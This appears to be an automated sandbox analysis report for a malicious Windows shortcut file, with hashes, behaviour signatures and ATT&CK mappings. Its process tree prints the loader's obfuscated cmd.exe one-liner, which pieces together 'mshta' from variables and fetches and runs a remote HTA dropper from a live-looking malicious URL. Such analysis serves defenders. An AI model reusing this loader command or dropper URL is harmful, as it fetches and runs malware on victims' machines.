be6396ea37c8ad8c42da5e726af98c60330c2ae5f15abcebb92e03d82768b753

Analysis

max time kernel
40s
max time network
42s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 18:05

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General

Target
DOC-BYESCY.lnk
Size 1KB
Sample260803-wph2maxwcw
SHA256 be6396ea37c8ad8c42da5e726af98c60330c2ae5f15abcebb92e03d82768b753
MD5 f3ab2392fbf25b347c71662edd62c17c
SHA1 a79ce7112b4e80b48890493a82822d38c82d32d4
SHA512 0eb41b65dc38553dad56fea77aff73b0c63c613a2df1136c592ea88ac64d037464c56551b7aa5442206e4e6268c97e5077760a5050fff91be05f843b030e1e90
TLSH
T15B3147502FFD0624F3B78F7798BB5B2489BBB8558E20C62E0141454C5036A25E53BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2880	cmd.exe
5388	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2880 wrote to memory of 5388	2880	cmd.exe	89
PID 5388 wrote to memory of 4964	5388	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-BYESCY.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2880
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set BFENz=msh&&set MUc=ta&&start "" !BFENz!!MUc! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5388
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4964

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads